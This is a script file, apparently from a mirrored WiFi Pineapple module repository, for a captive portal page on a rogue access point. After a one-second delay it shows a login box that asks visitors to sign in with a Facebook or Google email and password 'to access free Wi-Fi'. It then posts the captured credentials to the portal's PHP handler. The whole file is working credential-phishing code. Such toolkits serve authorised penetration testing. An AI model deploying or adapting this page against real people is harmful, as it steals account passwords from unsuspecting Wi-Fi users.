mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
36 lines
1.2 KiB
Plaintext
Executable File
36 lines
1.2 KiB
Plaintext
Executable File
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
|
|
|
<script>
|
|
window.onload = setTimeout(displayLogin, 1000);
|
|
$(function() {
|
|
$("#submit_button").on("click", function() {
|
|
var email_addr = $('#pa_email').val();
|
|
var pass = $('#pa_password').val();
|
|
if (email_addr == "" || pass == "") {
|
|
alert("Please login with your Facebook or Google account to access free Wi-Fi.");
|
|
return;
|
|
} else {
|
|
$.ajax({
|
|
type: "POST",
|
|
url: "/captiveportal/index.php",
|
|
data: {email: email_addr,
|
|
password: pass,
|
|
target: "<?=$destination?>"},
|
|
dataType: 'json',
|
|
success: function(data, textStatus, jqXHR) {
|
|
window.location="/captiveportal/index.php";
|
|
},
|
|
error: function(data, textStatus, errorThrown) {
|
|
window.location="/captiveportal/index.php";
|
|
}
|
|
});
|
|
}
|
|
});
|
|
});
|
|
function displayLogin() {
|
|
$(function(){
|
|
$("#pa_msgBox").css("opacity", "1");
|
|
$("#pa_msgBox, #pa_overlay-back").fadeIn("slow");
|
|
});
|
|
}
|
|
</script> |